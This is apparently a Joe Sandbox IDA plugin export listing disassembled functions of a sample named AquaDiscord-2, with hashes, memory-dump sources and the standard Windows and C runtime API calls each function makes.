Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: d151ae14fd57fb6cc4a6a4396113bb1137fddee8d0e4797f0a4d3148882e6715
Instruction ID: 5ef8e7b8daffae78ed8b0d5a30f3d91a05c6274fa4246b23e20e8394fd99434a
Opcode Fuzzy Hash: d151ae14fd57fb6cc4a6a4396113bb1137fddee8d0e4797f0a4d3148882e6715
Instruction Fuzzy Hash: AF218072A11206AFEB28AA25DC91EBB7BE8EF44310F1040BEF915D7191FB74ED548B50

Function 00AFDDA2 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 00AFDF26

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 78c761d3dd94adc4958bca3404364a1980e8b0223848ad30f0f9880296d58a87
Instruction ID: 02ed50fcab355459941857f38065a350c6a795a03c1e9e5171324cb3c5c029d5
Opcode Fuzzy Hash: 78c761d3dd94adc4958bca3404364a1980e8b0223848ad30f0f9880296d58a87
Instruction Fuzzy Hash: C7B1B230A0060E8BCB26CFE8C555ABEBBB2AF15300F14061DF752DB6A1CB75AD45CB51

Function 00B0B0D0 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00B0590A: GetLastError.KERNEL32(00000000,?,00B07C8D), ref: 00B0590E
Part of subcall function 00B0590A: SetLastError.KERNEL32(00000000,?,?,00000028,00B01F53), ref: 00B059B0

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00B0B124

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: b8ecf45c4126e766741233e4700e28982a2951b45fdcf3716d4a9164d6c34e50
Instruction ID: eb20eb14512e84a6de9114c6593d891aa9c3ec335bfd3ff9856e9325c9a9cf6c
Opcode Fuzzy Hash: b8ecf45c4126e766741233e4700e28982a2951b45fdcf3716d4a9164d6c34e50
Instruction Fuzzy Hash: 4011E972610206ABD714AF28DC56DBA7BECEF05310F1041BAF505D7281EB74ED058B90

Function 00B0AC48 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B0590A: GetLastError.KERNEL32(00000000,?,00B07C8D), ref: 00B0590E
Part of subcall function 00B0590A: SetLastError.KERNEL32(00000000,?,?,00000028,00B01F53), ref: 00B059B0

EnumSystemLocalesW.KERNEL32(00B0ACF0,00000001,00000000,?,-00000050,?,00B0AAD3,00000000,-00000002,00000000,?,00000055,?), ref: 00B0ACBA

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8ec670f4e2b554f2a294e52a06039f3c549a97946067d23f8d15b0e308307a57
Instruction ID: fe7658b61915715541902dda453f9688f10b35729b8e947f126d1ba17fb6e2f2
Opcode Fuzzy Hash: 8ec670f4e2b554f2a294e52a06039f3c549a97946067d23f8d15b0e308307a57
Instruction Fuzzy Hash: 2611E9366007055FEB289F39CC916BABBD1FF80758B19496CE94647A80D771B943C740

Function 00B0B27D Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00B0590A: GetLastError.KERNEL32(00000000,?,00B07C8D), ref: 00B0590E
Part of subcall function 00B0590A: SetLastError.KERNEL32(00000000,?,?,00000028,00B01F53), ref: 00B059B0

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00B0AF0C,00000000,00000000,?), ref: 00B0B2A9

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 3f4ddbe7e819ee498882c31ace697d22492d1f57667f9b8c62587012526f017f
Instruction ID: 661ce1ce22b8f6bb90fe75e861df7c1bc909935d579e879063a038c8e7a2a715
Opcode Fuzzy Hash: 3f4ddbe7e819ee498882c31ace697d22492d1f57667f9b8c62587012526f017f
Instruction Fuzzy Hash: 9F01D632610112BBDB2C5A658C46EBE3FD8EB40358F1544A9EC27E31C0EB30FE41C694

Function 00B0AF43 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B0590A: GetLastError.KERNEL32(00000000,?,00B07C8D), ref: 00B0590E
Part of subcall function 00B0590A: SetLastError.KERNEL32(00000000,?,?,00000028,00B01F53), ref: 00B059B0

EnumSystemLocalesW.KERNEL32(00B0AFB0,00000001,?,?,-00000050,?,00B0AA9B,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 00B0AF8D

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: f43a5376ca8025ee2fea3e98a57d431f9fc9c1e6b068d254091b38f61dd7e667
Instruction ID: e4d94e83dca009022f89e05d5837b49c02c49f15d430bcdbf491156f4ec789ed
Opcode Fuzzy Hash: f43a5376ca8025ee2fea3e98a57d431f9fc9c1e6b068d254091b38f61dd7e667
Instruction Fuzzy Hash: 22F0F6762003055FDB246F35DC81A7BBFD1EF81768B1589ACFA468B6D0CB71AC02C650

Function 00B068BD Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B01CD1: EnterCriticalSection.KERNEL32(?,?,00B05D98,?,00B1FC38,00000008,00B05C8A,00000000,00000000,?), ref: 00B01CE0

EnumSystemLocalesW.KERNEL32(00B068B0,00000001,00B1FCB8,0000000C,00B062B1,-00000050), ref: 00B068F5

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 84f7e1f96611ec9fbd42ebd0f7d6d4c59d5e041d8bdff8680ca88a341251460b
Instruction ID: 8095a97bcaf7dc21f835db7b5d9c335b881442558ddd101ac72b5737909aebd3
Opcode Fuzzy Hash: 84f7e1f96611ec9fbd42ebd0f7d6d4c59d5e041d8bdff8680ca88a341251460b
Instruction Fuzzy Hash: 02F04976A00208DFD710EFA8E942BAD7BF0EB08721F00856AF5109B2E1CB759901DF84

Function 00B0B085 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B0590A: GetLastError.KERNEL32(00000000,?,00B07C8D), ref: 00B0590E
Part of subcall function 00B0590A: SetLastError.KERNEL32(00000000,?,?,00000028,00B01F53), ref: 00B059B0

EnumSystemLocalesW.KERNEL32(00B0B0D0,00000001,?,?,?,00B0AAF5,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 00B0B0BC

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: dce44c8edb7f9a3469e0c74393d17787d6076105915d4398b76bb75edb8a6422
Instruction ID: 95b8796772fa4869fe34fceb5a47fe03838a0a9e3e1783c974f4cd0463f53dda
Opcode Fuzzy Hash: dce44c8edb7f9a3469e0c74393d17787d6076105915d4398b76bb75edb8a6422
Instruction Fuzzy Hash: C4F0E53630020997CB14AF35D855B6BBFD4EFC1760F0A4499EA198B6D0D772D843C7A0

Function 00B063B5 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,00B00A23,?,20001004,00000000,00000002,?,?,00AFF931), ref: 00B063E9

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: f10e1b89caa5f0af2320cf43a467604b392d0dbfd2f7703ade35199e203ab89f
Instruction ID: 8d34c310d6f0dc3c7edf2c22cedc6615a0ee2de576a86db8095c40fc8420203b
Opcode Fuzzy Hash: f10e1b89caa5f0af2320cf43a467604b392d0dbfd2f7703ade35199e203ab89f
Instruction Fuzzy Hash: 58E04F3250012CBBCF122F64EC05AAE7FA6EF44751F008050FC15661A5CB72DD30AAD4

Function 00AF9A27 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00009B50), ref: 00AF9A2C

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 43ad439122f344062a04b87f18e696710b641f0f429314c45bb9cb5e151ecd75
Instruction ID: 3d36f819ed54353f15f0f678581de5fa4d255c84026cd76724c20c9ebba2131d
Opcode Fuzzy Hash: 43ad439122f344062a04b87f18e696710b641f0f429314c45bb9cb5e151ecd75
Instruction Fuzzy Hash:

Function 00B06FE0 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00B06FE0

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 2c3afa98cab2f5131265b89d254b7db29ac053e614b9f70e23b87a6393ecff80
Instruction ID: c0e1fe06e14218ca1ec0e7e774ceeec07616fa691a00c13602db846cd82cfbed
Opcode Fuzzy Hash: 2c3afa98cab2f5131265b89d254b7db29ac053e614b9f70e23b87a6393ecff80
Instruction Fuzzy Hash: 7FA011302002028FA3808F3AAA08A083AE8AA0028030880A8A828C20A0EF208080AF00

Function 00AF1BA0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d449f0505dfae1040e2c6200dd404b11b2983969f9f08718f687224195c13878
Instruction ID: 0ea567d43d83d2203c8e92cec9d878182a0e367bf47345aca2e690ae9e416968
Opcode Fuzzy Hash: d449f0505dfae1040e2c6200dd404b11b2983969f9f08718f687224195c13878
Instruction Fuzzy Hash: 1DD0923A641A58AFC210DF4DE440D41F7B8FB9E770B154566EA5893B20C735FC12CAE0

Function 00B14192 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(0311FDB0,0311FDB0,00000000,7FFFFFFF,?,00B1417D,0311FDB0,0311FDB0,00000000,0311FDB0,?,?,?,?,0311FDB0,00000000), ref: 00B14238
__alloca_probe_16.LIBCMT ref: 00B142F3
__alloca_probe_16.LIBCMT ref: 00B14382
__freea.LIBCMT ref: 00B143CD
__freea.LIBCMT ref: 00B143D3
__freea.LIBCMT ref: 00B14409
__freea.LIBCMT ref: 00B1440F
__freea.LIBCMT ref: 00B1441F

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 002a847b3c3b740eca40e5c9c44b83a4c1252b3044b795f468c6c99b1fa1dcb2
Instruction ID: 76f72c7b32d28c73103aa316c74637fba15b7a12b9e547d03cd3ac762f48a989
Opcode Fuzzy Hash: 002a847b3c3b740eca40e5c9c44b83a4c1252b3044b795f468c6c99b1fa1dcb2
Instruction Fuzzy Hash: CD71D472900209ABDF209E949C82FEF7BE9DF45710FA401A9F954B7281EB759CC18B90

Function 00B08576 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00B085FC

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: b258c23f8f5adf4b5b829db56bad2fb8a7efe0f2db3ca2ba46b92337591bc9f9
Instruction ID: b200c6c7624529dbb8f642269eca5d42bf3319bcfef39f0b48d84d043b5aa0b7
Opcode Fuzzy Hash: b258c23f8f5adf4b5b829db56bad2fb8a7efe0f2db3ca2ba46b92337591bc9f9
Instruction Fuzzy Hash: 1FB14772A003559FDB118F28CC81BAE7FE5EF55350F2981E5E985AB2C2DA74DE01C7A0

Function 00AFAB70 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00AFABA7
___except_validate_context_record.LIBVCRUNTIME ref: 00AFABAF
_ValidateLocalCookies.LIBCMT ref: 00AFAC38
__IsNonwritableInCurrentImage.LIBCMT ref: 00AFAC63
_ValidateLocalCookies.LIBCMT ref: 00AFACB8

Strings

csm, xrefs: 00AFAC4D

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 3ebc4bf872d69b71fda10cdcba23a7e60047a5fedda88edca0f75e48489dfe5b
Instruction ID: fb6ad181f5d02e6a630aa44203d67373f5f9f9455d94c5d2d986c9a4bf2a4bdf
Opcode Fuzzy Hash: 3ebc4bf872d69b71fda10cdcba23a7e60047a5fedda88edca0f75e48489dfe5b
Instruction Fuzzy Hash: 5B41A374A0021C9BCB10DFE8C884AEE7BB5AF15314F548195F9189B392C735AE02CF92

Function 00B12E5C Relevance: 9.3, APIs: 6, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0754e697e449f82d512087502ab63cc8dc534b84cabd8bdc35f3ead1ee97a9bb
Instruction ID: 213a3c20e7a820e38df6642c138cb051879c18ac5eff31a8ca3ab87eb43b0bdb
Opcode Fuzzy Hash: 0754e697e449f82d512087502ab63cc8dc534b84cabd8bdc35f3ead1ee97a9bb
Instruction Fuzzy Hash: A3B11370A04249AFDB15DFA8C885BEE7FF1EF49700F9441D8E405A7292EB719E92CB50

Function 00B0442D Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00B04424,00AFA93D,00AF9B94), ref: 00B0443B
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00B04449
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00B04462
SetLastError.KERNEL32(00000000,00B04424,00AFA93D,00AF9B94), ref: 00B044B4

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ad6ffbff5a36d3de9f682a7fc170742d135d9f1fc7d7c6286aee00a4f8a3ee37
Instruction ID: f465591a291b55a8200ef7bd17a2c7aad28961531b6013aa55d0e425cf012fdd
Opcode Fuzzy Hash: ad6ffbff5a36d3de9f682a7fc170742d135d9f1fc7d7c6286aee00a4f8a3ee37
Instruction Fuzzy Hash: FB0147B221A3126EF7393B79BCC5A6F2EC4EB9177572002B9FA11522F2EF514C425380

Function 00B04D0C Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00B04E2B
CallUnexpected.LIBVCRUNTIME ref: 00B050A4

Strings

csm, xrefs: 00B04E62
csm, xrefs: 00B04DB6
csm, xrefs: 00B04D49

Memory Dump Source

Source File: 00000000.00000002.1670709457.0000000000AF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1670688721.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670737133.0000000000B16000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670755382.0000000000B20000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670770681.0000000000B21000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670787828.0000000000B24000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670804581.0000000000B27000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_AquaDiscord-2.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: 3126fa057f703c9550acbe18c13fbe1f947b9beec8b0cc918a924364b50356fc
Instruction ID: 382cb8e3033d6e93f218cc63b96781ccaf46da17462efce920fd4da573770520
Opcode Fuzzy Hash: 3126fa057f703c9550acbe18c13fbe1f947b9beec8b0cc918a924364b50356fc
Instruction Fuzzy Hash: E9B15AB1800209EFCF28DFA4C9819AEBBF5FF14310B1445EAEA156B692D731DA51CF91

